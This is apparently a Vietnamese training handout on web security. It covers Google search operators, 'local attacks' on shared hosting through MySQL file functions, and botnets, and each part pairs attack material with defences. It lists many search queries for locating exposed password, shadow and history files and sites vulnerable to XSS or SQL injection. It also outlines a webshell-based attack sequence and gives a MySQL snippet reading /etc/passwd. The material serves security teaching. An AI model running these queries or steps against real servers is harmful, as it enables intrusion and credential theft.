A.Giới thiệu Google là máy tìm kiếm mạnh mẽ và phổ biến nhất thế giới,nó có khả năng chấp nhận những lệnh được định nghĩa sẵn khi nhập vào và cho những kết quả không thể tin được.Điều này cho phép những người dùng có dã tâm như tin tặc, crackers, và script kiddies v.v... sử dụng máy tìm kiếm Google để thu thập những thông tin bí mật và nhạy cảm, những cái mà không thể nhìn thấy qua những tìm kiếm thông thường. 2 BIS ĐINH TIÊN HOÀNG,DAKAO, QUẬN 1, TPHCM TEL : 38244041– 090 78 79 477 WEBSITE : WWW.ATHENA.EDU.VN Tài liệu nghiên cứu an ninh web – lưu hành nội bộ 22 - Những cú pháp tìm kiếm nâng cao với Google - Tìm kiếm những Site hoặc Server(máy chủ) dễ bị tấn công sử dụng những cú pháp nâng cao của Google - Bảo mật cho servers hoặc sites khỏi sự tấn công của Google Những cú pháp tìm kiếm nâng cao với Google Dưới đây thảo luận về những lệnh đặc biệt của Google và tôi sẽ giải thích từng lệnh một cách ngắn gọn và nói rõ nó được sử dụng như thế nào để tìm kiếm thông tin. 2 BIS ĐINH TIÊN HOÀNG,DAKAO, QUẬN 1, TPHCM TEL : 38244041– 090 78 79 477 WEBSITE : WWW.ATHENA.EDU.VN Tài liệu nghiên cứu an ninh web – lưu hành nội bộ 23 a.[ intitle: ] Cú pháp “intitle:” giúp Google giới hạn kết quả tìm kiếm về những trang có chứa từ đó trong tiêu đề. Ví dụ, “intitle: login password” (không có ngoặc kép) sẽ cho kết quả là những link đến những trang có từ "login" trong tiêu đề, và từ "password" nằm ở đâu đó trong trang. Tương tự, nếu ta muốn truy vấn nhiều hơn một từ trong tiêu đề của trang thì ta có thể dùng “allintitle:” thay cho “intitle” để có kết quả là những trang có chứa tất cả những từ đó trong tiêu đề. Ví dụ như dùng “intitle: login intitle: password” cũng giống như truy vấn “allintitle: login password”. b.[ inurl: ] Cú pháp “inurl:” giới hạn kết quả tìm kiếm về những địa chỉ URL có chứa từ khóa tìm kiếm. Ví dụ: “inurl: passwd” (không có ngoặc kép) sẽ cho kết quả là những link đến những trang có từ "passwd" trong URL. Tương tự, nếu ta muốn truy vấn nhiều hơn một từ trong URL 2 BIS ĐINH TIÊN HOÀNG,DAKAO, QUẬN 1, TPHCM TEL : 38244041– 090 78 79 477 WEBSITE : WWW.ATHENA.EDU.VN Tài liệu nghiên cứu an ninh web – lưu hành nội bộ 24 thì ta có thể dùng “allinurl:” thay cho “inurl” để được kết quả là những URL chứa tất cả những từ khóa tìm kiếm.Ví dụ: “allinurl: etc/passwd“ sẽ tìm kiếm những URL có chứa “etc” và “passwd”. Ký hiệu gạch chéo (“/”) giữa các từ sẽ bị Google bỏ qua. c.[ site: ] Cú pháp “site:” giới hạn Google chỉ truy vấn những từ khóa xác định trong một site hoặc tên miền riêng biệt. Ví dụ: “exploits site:hackingspirits.com” (không có ngoặc kép) sẽ tìm kiếm từ khóa “exploits” trong những trang hiện có trong tất cả các link của tên miền “hackingspirits.com”. Không có khoảng trống nào giữa “site:” và “tên miền”. d.[ filetype: ] Cú pháp “filetype:” giới hạn Google chỉ tìm kiếm những files trên internet có phần mở rộng riêng biệt (Ví dụ: doc, pdf hay ppt v.v...). Ví dụ : “filetype:doc site:gov confidential” (không có ngoặc kép) sẽ tìm kiếm những file có phẩn mở rộng là “.doc” trong tất cả những tên miền của chính phủ có phần mở rộng là “.gov” và chứa từ “confidential”(bí mật) trong trang hoặc trong file “.doc”. Ví dụ . Kết quả sẽ bao gồm những liên kết đến tất cả các file văn bản bí trên các site của chính phủ. e.[ link: ] Cú pháp “link:” sẽ liệt kê những trang web mà có các liên kết đến đến những trang web chỉ định. Ví dụ : chuỗi “link:www.securityfocus.com” sẽ liệt kê những trang web có liên kết trỏ đến trang chủ SecurityFocus. Chú ý không có khoảng trống giữa "link:" và URL của trang Web. f.[ related: ] Cú pháp “related:” sẽ liệt kê các trang Web "tương tự" với trang Web chỉ định. Ví dụ : “related:www.securityfocus.com” sẽ liệt kê các trang web tương tự với trang chủ Securityfocus. Nhớ rằng không có khoảng trống giữa "related:" và URL của trang Web. g.[ cache: ] 2 BIS ĐINH TIÊN HOÀNG,DAKAO, QUẬN 1, TPHCM TEL : 38244041– 090 78 79 477 WEBSITE : WWW.ATHENA.EDU.VN Tài liệu nghiên cứu an ninh web – lưu hành nội bộ 25 Truy vấn “cache:” sẽ cho kết quả là phiên bản của trang Web mà mà Google đã lưu lại. Ví dụ: “cache:www.hackingspirits.com” sẽ cho ra trang đã lưu lại bởi Google's. Nhớ rằng không có khoảng trống giữa "cache:" và URL của trang web. Nếu bao gồm những từ khác trong truy vấn, Google sẽ điểm sáng những từ này trong văn bản đã được lưu lại. Ví dụ: “cache:www.hackingspirits.com guest” sẽ cho ra văn bản đã được lưu lại có từ "guest" được điểm sáng. h.[ intext: ] Cú pháp “intext:” tìm kiếm các từ trong một website riêng biệt. Nó phớt lờ các liên kết hoặc URL và tiêu đề của trang. Ví dụ: “intext:exploits” (không có ngoặc kép) sẽ cho kết quả là những liên kết đến những trang web có từ khóa tìm kiếm là "exploits" trong các trang của nó. i.[ phonebook: ] “phonebook” tìm kiếm thông tin về các địa chỉ đường phố ở Mỹ và số điện thoại. Ví dụ: “phonebook:Lisa+CA” sẽ liệt kê tất cả các tên người có từ “Lisa” trong tên và ở “California (CA)”. Cú pháp này có thể được sử dụng như là một công cụ tuyệt vời của tin tặc trong trường hợp ai đó muốn tìm kiếm thông tin cá nhân cho công việc xã hội. Truy vấn các site hoặc server dễ bị tấn công sử dụng các cú pháp nâng cao của Google.Những cú pháp truy vấn nâng cao thảo luận ở trên thực sự có thể giúp người ta chính xác hóa các tìm kiếm và có được những gì họ thực sự tìm kiếm. Bây giờ Google trở thành một máy tìm kiếm thông minh, những người dùng có ác ý không hề bận tâm khai thác khả năng của nó để đào bới những thông tin bí mật từ internet mà chỉ có sự truy cập giới hạn. Bây giờ tôi sẽ thảo luận những kỹ thuật này một cách chi tiết làm thế nào để những người dùng ác tâm đào bới thông tin trên internet sử dụng Google như một công cụ. Sử dụng cú pháp “Index of ” để tìm kiếm các site cho phép duyệt chỉ mục 2 BIS ĐINH TIÊN HOÀNG,DAKAO, QUẬN 1, TPHCM TEL : 38244041– 090 78 79 477 WEBSITE : WWW.ATHENA.EDU.VN Tài liệu nghiên cứu an ninh web – lưu hành nội bộ 26 Một webserver(máy chủ web) cho phép duyệt chỉ mục nghĩa là bất kỳ ai có thể duyệt các thư mục của webserver như các thư mục nội bộ thông thường. Ở đây tôi sẽ thảo luận làm thế nào để sử dụng cú pháp "index of" để có một danh sách các liên kết đến webserver cho phép duyệt thư mục. Cách này trở thành một nguồn dễ dàng cho việc thu thập thông tin của tin tặc. Tưởng tưởng nếu họ nắm được các file mật khẩu hoặc các file nhạy cảm khác mà bình thưởng không thể thấy được trên internet. Dưới đây là vài Ví dụ sử dụng để có được quyền truy cập vào rất nhiều thông tin nhạy cảm dễ dàng hơn rất nhiều: Index of /admin Index of /passwd Index of /password Index of /mail "Index of /" +passwd "Index of /" +password.txt "Index of /" +.htaccess "Index of /secret" "Index of /confidential" "Index of /root" 2 BIS ĐINH TIÊN HOÀNG,DAKAO, QUẬN 1, TPHCM TEL : 38244041– 090 78 79 477 WEBSITE : WWW.ATHENA.EDU.VN Tài liệu nghiên cứu an ninh web – lưu hành nội bộ 27 "Index of /cgi-bin" "Index of /credit-card" "Index of /logs" "Index of /config" 1.Tìm kiếm các site hoặc server dễ bị tấn công sử dụng cú pháp “inurl:” hoặc “allinurl:” a. Sử dụng “allinurl:winnt/system32/” (không có ngoặc kép) sẽ liệt kê tất cả các liên kết đến server mà cho phép truy cập đến những thư mục giới hạn như “system32” qua web. Nếu bạn đủ may mắn thì bạn có thể có quyền truy cập đến file cmd.exe trong thư mục “system32”. Một khi bạn có quyền truy cập đến file “cmd.exe” và có thể thực thi nó thì bạn có thể tiến lên xa hơn leo thang quyền của bạn khắp server và làm hại nó. b. Sử dụng “allinurl:wwwboard/passwd.txt”(không có ngoặc kép) trong Google search sẽ liệt kê tất cả các liên kết đến server mà dễ bị tấn công vào “tính dễ bị tấn công mật khẩu WWWBoard”. Để biết thêm về tính dễ bị tấn công này bạn có thể vào link sau đây: c. Sử dụng “inurl:.bash_history” (không có ngoặc kép) sẽ liệt kê tất cả các liên kết đến server mà cho phép truy cập vào file “.bash_history” qua web. Đây là một file lịch sử dòng lệnh. File này bao gồm danh sách các lệnh được thực thi bởi quản trị viên, và đôi khi bao gồm cả thông tin nhạy cảm như mật khẩu gõ vào bởi quản trị viên. Nếu file này bị làm hại và nếu nó bao gồm mật khẩu đã mã hóa của hệ thống unix (or *nix) thì nó có thể dễ dàng bị crack bởi phương pháp “John The Ripper”. 2 BIS ĐINH TIÊN HOÀNG,DAKAO, QUẬN 1, TPHCM TEL : 38244041– 090 78 79 477 WEBSITE : WWW.ATHENA.EDU.VN Tài liệu nghiên cứu an ninh web – lưu hành nội bộ 28 d. Sử dụng “inurl:config.txt” (không có ngoặc kép) sẽ liệt kê tất cả các liên kết đến các máy chủ cho phép truy cập vào file “config.txt” qua giao diện web. File này bao gồm các thông tin nhạy cảm, bao gồm giá trị bị băm ra của mật khẩu quản trị và sự xác thực quyền truy cập cơ sở dữ liệu. Ví dụ: Hệ thống quản lý học tập Ingenium là một ứng dụng Web cho các hệ thống Windows phát triển bởi Click2learn, Inc. Hệ thống quản lý học tập Ingenium phiên bản 5.1 và 6.1 lưu các thông tin nhạy cảm không an tòan trong file config.txt. Để biết thêm thông tin vào liên kết sau: Những tìm kiếm tương tự khác dùng “inurl:” hoặc “allinurl:” kết hợp với các cú pháp khác: inurl:admin filetype:txt 2 BIS ĐINH TIÊN HOÀNG,DAKAO, QUẬN 1, TPHCM TEL : 38244041– 090 78 79 477 WEBSITE : WWW.ATHENA.EDU.VN Tài liệu nghiên cứu an ninh web – lưu hành nội bộ 29 inurl:admin filetype:db inurl:admin filetype:cfg inurl:mysql filetype:cfg inurl:passwd filetype:txt inurl:iisadmin inurl:auth_user_file.txt inurlrders.txt inurl:"wwwroot/*." inurl:adpassword.txt inurl:webeditor.php inurl:file_upload.php inurl:gov filetypels "restricted" index of ftp +.mdb allinurl:/cgi-bin/ +mailto 2.Tìm kiếm các site hoặc server dễ bị tấn công dùng “intitle:” hoặc “allintitle:” 2 BIS ĐINH TIÊN HOÀNG,DAKAO, QUẬN 1, TPHCM TEL : 38244041– 090 78 79 477 WEBSITE : WWW.ATHENA.EDU.VN Tài liệu nghiên cứu an ninh web – lưu hành nội bộ 30 a. Sử dụng [allintitle: "index of /root”] (không có ngoặc vuông) sẽ liệt kê các liên kết đến các webserver(máy chủ Web) cho phép truy cập vào các thư mục giới hạn như “root” qua giao diện web. Thư mục này đôi khi bao gồm các thông tin nhạy cảm mà có thể dễ dàng tìm được tqua những yêu cầu Web đơn giản. b. Sử dụng [allintitle: "index of /admin”] (không có ngoặc vuông) sẽ liệt kê các liên kết đến các website cho phép duyệt chỉ mục các thư mục giới hạn như “admin” qua giao diện web. Hầu hết các ứng dụng web đôi khi sử dụng tên như “admin” để lưu quyền admin trong đó. Thư mục này đôi khi bao hàm các thông tin nhạy cảm mà có thể dễ dàng tìm được qua các yêu cầu Web đơn giản. Những tìm kiếm tương tự dùng “intitle:” hoặc “allintitle:” kết hợp với các cú pháp khác 2 BIS ĐINH TIÊN HOÀNG,DAKAO, QUẬN 1, TPHCM TEL : 38244041– 090 78 79 477 WEBSITE : WWW.ATHENA.EDU.VN Tài liệu nghiên cứu an ninh web – lưu hành nội bộ 31 intitle:"Index of" .sh_history intitle:"Index of" .bash_history intitle:"index of" passwd intitle:"index of" people.lst intitle:"index of" pwd.db intitle:"index of" etc/shadow intitle:"index of" spwd intitle:"index of" master.passwd intitle:"index of" htpasswd intitle:"index of" members OR accounts intitle:"index of" user_carts OR user_cart allintitle: sensitive filetype:doc allintitle: restricted filetype :mail allintitle: restricted filetype:doc site:gov Những truy vấn tìm kiếm thú vị khác Để tìm những site dễ bị tấn công bằng phương pháp Cross-Sites Scripting (XSS): allinurl:/scripts/cart32.exe 2 BIS ĐINH TIÊN HOÀNG,DAKAO, QUẬN 1, TPHCM TEL : 38244041– 090 78 79 477 WEBSITE : WWW.ATHENA.EDU.VN Tài liệu nghiên cứu an ninh web – lưu hành nội bộ 32 allinurl:/CuteNews/show_archives.php allinurl:/phpinfo.php Để tìm những site dễ bị tấn công bằng phương pháp SQL Injection: allinurl:/privmsg.php allinurl:/privmsg.php Bảo mật các server hoặc site khỏi sự tấn công của Google Dưới đây là những phương pháp bảo mật mà các quản trị viên và các chuyên gia bảo mật phải đưa vào tài khoản để bảo mật những thông tin then chốt khỏi rơi vào không đúng chỗ: - Cài những bản vá bảo mật mới nhất cho các ứng dụng cũng như hệ điều hành chạy trên máy chủ. - Đừng để những thông tin nhạy cảm và then chốt trên máy chủ mà không có hệ thống xác nhận hợp lệ mà có thể bị truy cập trực tiếp bởi bất kỳ ai trên internet. - Không cho phép duyệt thư mục trên webserver. Duyệt thư mục chỉ nên được cho phép với các thư mục web muốn cho bất kỳ ai trên internet truy cập. - Nếu bạn tìm thấy bất kỳ liên kết nào đến server hoặc site giới hạn của bạn trong kết quả của Google search thì nó phải được xóa đi. Vào liên kết sau để biết thêm chi tiết: - Không cho phép truy cập dấu tên vào webserver qua internet vào các thư mục hệ thống giới hạn. - Cài các công cụ lọc như URLScan cho các máy chủ chạy IIS như là webserver. 2 BIS ĐINH TIÊN HOÀNG,DAKAO, QUẬN 1, TPHCM TEL : 38244041– 090 78 79 477 WEBSITE : WWW.ATHENA.EDU.VN Tài liệu nghiên cứu an ninh web – lưu hành nội bộ 33 IV/Local Atack: A. Local Atack là gì? Là tấn công từ nội bộ ở bên trong, một khái niệm xuất hiện từ khi các máy chủ mạnh lên trong thời gian gần đây, như vào thập niên trước, các máy chủ chạy Web (web server) có cấu hình chỉ ở mức trung bình vả chỉ có thể đảm nhiệm việc gồng gánh một hoặc hai, ba trang web cùng tồn tại. Theo thời gian, cấu hình các máy chủ ngày càng mạnh hơn, tốc độ xử lý và các công nghệ phân luồng, đa nhân, xử lý song song. Đồng bộ với sự phát triển của phần cứng là phần mềm hệ thống và web server, software ngày càng được viết chuyên biệt để xử lý đa tác vụ. Chính nhờ sự phát triển đó, một máy chủ ngày nay có thể đặt nhiều website trên đó. Và cũng chính nhờ vậy, mà 1 công nghệ khai thác lỗi mới ra đời. Nó mang tên local attack (tấn công từ nội bộ). Nếu 1 server đặt các website: A, B, C, D. Muốn tấn công A, check A không thấy lỗi khai thác  chuyển ngay sang B  tìm cách khai thác B, nếu không được  chuyển sang C  khai thác được C  up web shell hoặc shell code lên  nắm quyền điều khiển server (hoặc quyền nào đó giúp có thể đọc các thong tin cần thiết để tấn công A (user/password, database, username/password e-mail)  attack A. Các bước thực hiện: 1. Xác định các website cần tấn công. 2. Xác định các website đặt cùng server với mục tiêu 2 BIS ĐINH TIÊN HOÀNG,DAKAO, QUẬN 1, TPHCM TEL : 38244041– 090 78 79 477 WEBSITE : WWW.ATHENA.EDU.VN Tài liệu nghiên cứu an ninh web – lưu hành nội bộ 34 3. Tìm cách khai thác một trong các website đặt chung server với mục tiêu. Khai thác được 1 trong số các website đó. Tìm cách upload webshell hoặc thực thi shell code. 4. Thành công có webshell, kiểm tra quyền của user hiện tại. 5. Nếu quyền hiện tại đủ để tấn công mục tiêu. Sang bước 7. 6. Nếu quyền hiện tại không đủ tấn công, tìm cách nâng quyền lên. 7. Đã có đủ quyền, tiến hành đọc file config, tìm user/password, deface mục tiêu nếu có thể. 8. Kết thúc. B. Cách tấn công bằng local attack và phòng chống: 1. Tấn Công Bằng Local Attack: MySQL là một DBMS ( Database Management System - hệ thống quản trị cơ sở dử liệu ) gồm 4 loại ver: * MySQL Standard bản chuẩn. * MySQL Pro là bản thương mại * MySQL Max là phiên bản nâng cao tích hợp những chức năng cao cấp. * MySQL Classic : không tích hợp InnoDB engine. Để cho thuận tiện, nhà sản xuất đã tích hợp thêm một số function có thể gây xâm hại đến bảo mật hệ thống. Như ở bài trước, thì một vào function 2 BIS ĐINH TIÊN HOÀNG,DAKAO, QUẬN 1, TPHCM TEL : 38244041– 090 78 79 477 WEBSITE : WWW.ATHENA.EDU.VN Tài liệu nghiên cứu an ninh web – lưu hành nội bộ 35 trog số này đã được lợi dụng để thực hiện local attack ( tấn công cục bộ trên cùng máy chủ ). a.Giả sử hacker có quyền tạo, edit , delete, thêm / xóa DB trên server: hacker có thể tốn công qua kịch bản : - Tạo 1 db - Tạo một table mới. - Thực hiện chuỗi câu lệnh : Code: use atttacker; Create table readfile(text LONGTEXT); Insert into readfile values(loadfile('/etc/passwd'); Nhìn lại cách thức attack local qua MySQL, hacker sử dụng load_file() để tấn công. Cấu trúc chung của hàm này là LOAD_FILE(file_name) . Hàm này được sử dụng với mục đích chính là đọc 1 file và trả về nội dụng dưới dạng chuỗi ký tự. Theo manual của MySQL : Code: " To use this function, the file must be located on the server host, you must specify the full pathname to the file, and you must have the FILE privilege. The file must be readable by all and its size less than max_allowed_packet bytes. " Như trên ta thấy để có thể đọc được file qua MySQL thì account phải có quyền FILE privilege và file muốn đọc phải có quyền read ( đc phép đọc ). Dựa vào đó ta có 2 cách để ngăn chặn việc truy xuất file trái phép : + chmod file: không có quyền read ở nhóm group và world, cách chmod tôi hay áp dụng là 401 ( |r--|---|--x| ), để thực hiện chỉnh sửa file bạn nên thực hiện trong Control Panel hoặc qua FTP. + cấm FILE privilege của tất cả các user trong MySQL. b.Thông qua hàm load data infile : Trước khi vào đề thì mình xin nói sơ qua về hàm load data: Hàm load data local trong MySQL lâu nay đc khai thác để attack local khá nhiều và cũng không ít srv dính lỗi này, thậm chí là rất phổ biến 2 BIS ĐINH TIÊN HOÀNG,DAKAO, QUẬN 1, TPHCM TEL : 38244041– 090 78 79 477 WEBSITE : WWW.ATHENA.EDU.VN Tài liệu nghiên cứu an ninh web – lưu hành nội bộ 36 với các shared hosting vốn đòi hỏi yêu cầu về độ bảo mật cao. Hàm này cho phép tải nội dung của một file ở bên trong srv "local" hoặc client host. Theo mặc định thì đều được biên dich với tùy chọn --enable-local- infile. Để tắt tùy chọn này bạn dùng command để đăng nhập vào mysql với quyền root rồi dùng câu lệnh --local-infile=0 hoặc edit file my.cnf trong /etc [mysqld] ...(other stuff) local-infile=0 [mysql] ...(other stuff) local-infile=0 Sau đó shutdown và chạy lại MySql. shell> mysqladmin shutdown shell> cd /usr/libexec shell> mysqld -Khi đó nếu dùng hàm này sẽ có thông báo lỗi: Code: ERROR 1148: The used command is not allowed with this MySQL version Code: "LOAD DATA [LOW_PRIORITY | CONCURRENT] [LOCAL] INFILE 'file_name' [REPLACE | IGNORE] INTO TABLE tbl_name [FIELDS [TERMINATED BY 'string'] [[OPTIONALLY] ENCLOSED BY 'char'] [ESCAPED BY 'char'] ] [LINES [STARTING BY 'string'] [TERMINATED BY 'string'] 2 BIS ĐINH TIÊN HOÀNG,DAKAO, QUẬN 1, TPHCM TEL : 38244041– 090 78 79 477 WEBSITE : WWW.ATHENA.EDU.VN Tài liệu nghiên cứu an ninh web – lưu hành nội bộ 37 ] [IGNORE number LINES] [(col_name,...)] " Hàm này cũng giống như load_file() nhưng tốc độ thực hiện câu lệnh nhanh hơn. Ở đâu có thêm phạm vi "local", "local" ở đây có thể là localhost như /home/vietchuye/public_html/index.php hoặc client host như Với nhu cầu dùng thông thường để setup và chạy trên localhost thì rõ ràng hàm này là không cần thiết. Để sử dụng được hàm này thì file để đọc cần phải ở trong thư mục chứa database hoặc phải được phép read ở nhóm "world" và user MySQL phải có quyền FILE privilege. Qua 2 kịch bản trên ta thấy FILE privilege chính là chìa khóa để giải quyết vấn đề attack local qua MySQL. MySQL là một hệ quản trị cơ sở dữ liệu rất mạnh mẽ và hữu dụng nhưng nó cũng có nhiều chức năng không cần thiết làm nảy sinh những nguy cơ tiềm ẩn về bảo mật hệ thống. 2. Cách Chống Local Attack: Thường xuyên backup dữ liệu (giảm thiệt hại khi bị drop database) -Bỏ quyền DROP database của user -đặt safemode on và disable 1 số hàm nguy hiểm = cách tạo file php.ini với nội dung sau safe-mode = on display_errors = Off disable_functions = passthru, system, shell_exec, exec, dir, readfile, virtual,socket_accept,socket_bind,socket_clear_err or,socket_close,socket_connect,socket_create_liste n proc_terminate log_errors = On Rồi up lên thư mục public_html, sau đó cmod thành 444 ---Đổi tên,đặt pass cho thư mục admincp: Đổi tên admincp và nhưng đừng sửa lại trong file config.php tên mới 2 BIS ĐINH TIÊN HOÀNG,DAKAO, QUẬN 1, TPHCM TEL : 38244041– 090 78 79 477 WEBSITE : WWW.ATHENA.EDU.VN Tài liệu nghiên cứu an ninh web – lưu hành nội bộ 38 nhé,ví dụ là !!!!aaaad@.Thay vào đó,bạn làm như sau:tạo 1 thư mục khác,lấy tên là "admincp" ,sau đó copy toàn bộ file trong thư mục "!!!!aaaad@" qua thư mục này,sau đó,mở từng file 1 ra,sửa lung tung lên(cốt để cho file đấy không chạy đc),nhưng đừng sửa file index.php là đượcc.Sau đó vào cpanel, đặt pass cho thư mục "!!!!aaaad@" và thư mục "admincp" Giải thích qua về tác dụng của việc này: nếu như hacker biết đc pass admin,muốn vào admincp thì chắc chắn sẽ vào OpenDNS ,sau đó sẽ phải tìm cách vượt qua pass protect,nếu có vượt qua đc,đăng nhập vào thì cũng chả làm được gì(bởi vì tất cả các file trong thư mục "admincp" ta đã sửa ) ---Di chuyển vị trí file config.php: Việc này là 1 việc rất quan trọng,vì giả sử hacker có up shell lên đc thì cũng phải có user và pass thì mới connect đc đến database.Bạn làm như sau: ----B1: zend file config.php lại,đổi tên thành 1 file khác,chẳng hạn a.php,rồi chuyển vào 1 thư mục nào đó ngoài thư mục public_html là đc.VD: ---B2: tạo 1 file khác tên là config.php với nội dung sau:VD: Nhớ thay /home/lyamsinf/php/config.php = đường dẫn đến file a.php của bạn.Sau đó tiếp tục zend file này lại. ----B3: Tiếp tục di chuyển file "config.php"(file trong thư mục includes ấy nhé)đến 1 vị trí khác(dĩ nhiên là ngoài thư mục public_html) Mở file "class_core.php" trong thư mục "includes",sửa lại đường dẫn đến file "config.php".Làm tương tự với file "diagnostic.php" trong thư mục "!!!!aaaad@"(thư mục admincp đã đổi tên).Rồi zend 2 file "diagnostic.php" và "class_core.php". Sau đó nhớ vào thư mục includes,tạo 1 file config.php "giả",điền sai thông tin user,pass đăng nhập database lại và cũng zend lại được. Thế là ta đã giấu file config.php thật 1 cách khá kĩ đó,hacker sẽ khá nản 2 BIS ĐINH TIÊN HOÀNG,DAKAO, QUẬN 1, TPHCM TEL : 38244041– 090 78 79 477 WEBSITE : WWW.ATHENA.EDU.VN Tài liệu nghiên cứu an ninh web – lưu hành nội bộ 39 khi muốn mò đc file config.php thật!Như vây là tạm thời yên tâm về thông tin đăng nhập database ko bị mất nữa! V/ Botnet, Dos: A. Botnet: 1.Botnet là gì? là những chương trình tương tự Trojan backdoor cho phép kẻ tấn công sử dụng máy của họ như là những Zoombie ( máy tính thây ma – máy tính bị chiếm quyền điều khiển hoàn toàn ) v à chúng chủ động kết nối với một Server để dễ dàng điều khiển , các bạn lưu ý chữ “chủ động” đó là một đặc điểm khác của bot so với trojan backdoor . Chính vì sự chủ động này mà máy tính bị cài đặt chúng kết nối trở nên chậm chạp , một đặc điểm giúp ta dễ dàng nhận diện bot . Mạng botnet là một mạng rất lớn gồm hàng trăm hàng ngàn máy tính Zombie kết nối với một máy chủ mIRC ( Internet Replay Chat ) hoặc qua các máy chủ DNS để nhận lệnh từ hacker một cách nhanh nhất . Các mạng bot gồm hàng ngàn “thành viên” là một công cụ lý tưởng cho các cuộc chiến tranh đọ máu như DDOS , spam, cài đặt các chương trình quảng cáo .. 2. Cách phát tán: 2 BIS ĐINH TIÊN HOÀNG,DAKAO, QUẬN 1, TPHCM TEL : 38244041– 090 78 79 477 WEBSITE : WWW.ATHENA.EDU.VN Tài liệu nghiên cứu an ninh web – lưu hành nội bộ 40 Các botmaster thường phát tán bot theo những cách như sau a-Sử dụng một con worm tải bot xuống và kích hoạt chúng (ta đã biết là worm lây lan rất mạnh ) b- Gắn bot vào một trojan nói theo cách dễ hiểu nhất là gửi các chương trình bị lây nhiễm bởi bot cho các nạn nhân và tự họ sẽ kích hoạt chúng c - Gắn nó lên một trang web nhiều người truy câpj ( thường là các trang web sex :X vì số lượng người tham gia rất lớn ) d- Kết hợp các 1 với 2 hoặc 4 (gắn worm vào trojan hoặc web) 2 BIS ĐINH TIÊN HOÀNG,DAKAO, QUẬN 1, TPHCM TEL : 38244041– 090 78 79 477 WEBSITE : WWW.ATHENA.EDU.VN Tài liệu nghiên cứu an ninh web – lưu hành nội bộ 41 3. Phân Loại Bot: Theo cách điêur khỉên botnet được chia làm hai loại + DNS Bot : điều khiển qua nền web, nguyên tắc hoạt động như sau : đầu tiên tại host điều khiển botmaster sẽ tại một tệp lệnh.txt sau đó bot sẽ download tệp này, tiến hành phân tích và thực hiện yêu cấu của người viết. -Ưu đỉêm : Thực hiện dễ dàng viết và điều khỉên đơn giản chỉ cần một host bất kỳ là có thể điều khiển được , bot thực hiện lệnh được công việc ngay cả khi chủ bot online hay offline . -Nhược đỉêm : tốc độ xử lý chậm (do phải mất công cho cả download và upload ) – không có sự trao đổi qua lại giữa chủ bot và zombie . + mIRC : điều khiển qua các mạng chat mIRC : ta đã biết là tại hình thức chat Internet Replay Chat, một chương trình có thể tuỳ ý đăng ký và sử dụng một nick name mà không cần phải đăng ký , lợi dụng lỗ hổng này bot mIRC sử dụng chúng để hoạt đông .Nguyên tắc như sau : bot sẽ sử dụng winsock gửi các tệp lệnh IRC để nhận lệnh từ hacker qua một port đã định sẵn khi cấu hình bot cần lưu ý đến Chanel ( gọi tắt là Chan), Port (mặc đinh là 6667), máy chủ Mirc ( thường mở đầu bằng irc.) 2 BIS ĐINH TIÊN HOÀNG,DAKAO, QUẬN 1, TPHCM TEL : 38244041– 090 78 79 477 WEBSITE : WWW.ATHENA.EDU.VN Tài liệu nghiên cứu an ninh web – lưu hành nội bộ 42 4. Cách Phòng Chống: a. Thuê một dịch vụ lọc Web Dịch vụ lọc Web là một trong những cách tốt nhất để đấu tranh với bot. Các dịch vụ này quét website khi thấy xuất hiện hành vi không bình thường hoặc có các hành động mã nguy hiểm và khóa site đó từ người dùng. Websense, Cyveillance và FaceTime Communications là các ví dụ điển hình. Tất cả sẽ kiểm tra Internet theo thời gian thực tìm các website bị nghi ngờ có hành động nguy hiểm như tải JavaScript và các trò lừa đảo khác ngoài ranh giới của việc duyệt web thông thường. Cyveillance và Support Intelligence cũng cung cấp dịch vụ cho biết về các tổ chức website và ISP đã phát hiện là có malware, vì vậy các máy chủ bị tấn công có thể được sửa chữa kịp thời. b. Chuyển đổi trình duyệt Một cách khác để ngăn chặn sự xâm nhập của bot là không nên sử dụng một trình duyệt. Internet Explorer hay Mozilla Firefox là hai trình duyệt phổ biến nhất và vì vậy chúng cũng là các trình duyệt mà malware tập trung tấn công tới. Tương tự như vậy đối với các hệ điều hành. Theo thống kê thì Macs là hệ điều hành an toàn với botnet bởi vì hầu hết chúng đều nhằm vào Windows. c. Vô hiệu hóa các kịch bản Một cách nữa là vô hiệu hóa trình duyệt khỏi các kịch bản nói chung (script), điều này có thể gây khó khăn cho một số nhân viên sử dụng ứng dụng tùy chỉnh và dựa trên nền web trong công việc của họ. d. Triển khai các hệ thông phát hiện xâm phạm và ngăn chặn xâm phạm Một phương pháp khác đó là điều chỉnh các IDS và ISP để chúng có thể tìm kiếm được các hoạt động tương tự như botnet. Ví dụ, một máy 2 BIS ĐINH TIÊN HOÀNG,DAKAO, QUẬN 1, TPHCM TEL : 38244041– 090 78 79 477 WEBSITE : WWW.ATHENA.EDU.VN Tài liệu nghiên cứu an ninh web – lưu hành nội bộ 43 tính nào đó bất ngờ gặp vấn đề sự cố trên Internet Relay Chat là hoàn toàn đáng nghi ngờ. Cũng giống như việc kết nối vào các địa chỉ IP ở xa hoặc địa chỉ DNS không hợp lý. Tuy vấn đề này là khó phát hiện nhưng chúng ta có cách phát giác khác khi phát hiện thấy sự thu hút bất ngờ trong lưu lượng SSL trên một máy tính, đặc biệt trong các cổng không bình thường. Điều đó có thể là kênh mà botnet chiếm quyền điều khiển đã bị kích hoạt. Chính vì vậy chúng ta cần một ISP để kiểm tra về những hành vi không bình thường để chỉ thị cảnh báo các tấn công dựa trên HTTP và thủ tục gọi từ xa, Telnet- và giả mạo giao thức giải pháp địa chỉ, các tấn công khác. Mặc dù vậy chúng ta phải nên chú ý rằng nhiều bộ cảm biến ISP sử dụng phát hiện dựa trên chữ ký, điều đó nghĩa là các tấn công chỉ được bổ sung vào cơ sở dữ liệu khi nào chúng được phát hiện. Chính vì vậy các ISP phải cập nhật kịp thời để nhận ra được các tấn công này, bằng không bộ phát hiện sẽ không còn giá trị. e. Bảo vệ nội dung được tạo bởi người dùng Các hoạt động website của riêng bạn cũng phải được bảo vệ để tránh trở thành kẻ tòng phạm không chủ tâm đối với những kẻ viết malware. Các blog công cộng và forum của công ty nên được hạn chế chỉ ở dạng văn bản. Nếu site của bạn cần cho các thành viên trao đổi file thì nó phải được thiết lập để cho phép các kiểu file được giới hạn và đảm bảo an toàn, ví dụ với các file có đuôi mở rộng .jpeg hoặc .mp3. (Tuy vậy những kẻ viết malware cũng đã bắt đầu nhắm vào đối tượng người chơi MP3) f. Sử dụng công cụ phần mềm Nếu bạn phát hiện thấy máy tính bị tiêm nhiễm mà hệ thống không có cách nào tốt nhất để giải quyết với tình huống này. Bạn không phải lo sợ điều đó vì các công ty như Symantec xác nhận rằng họ có thể phát hiện và xóa sạch sự tiêm nhiễm rootkit nguy 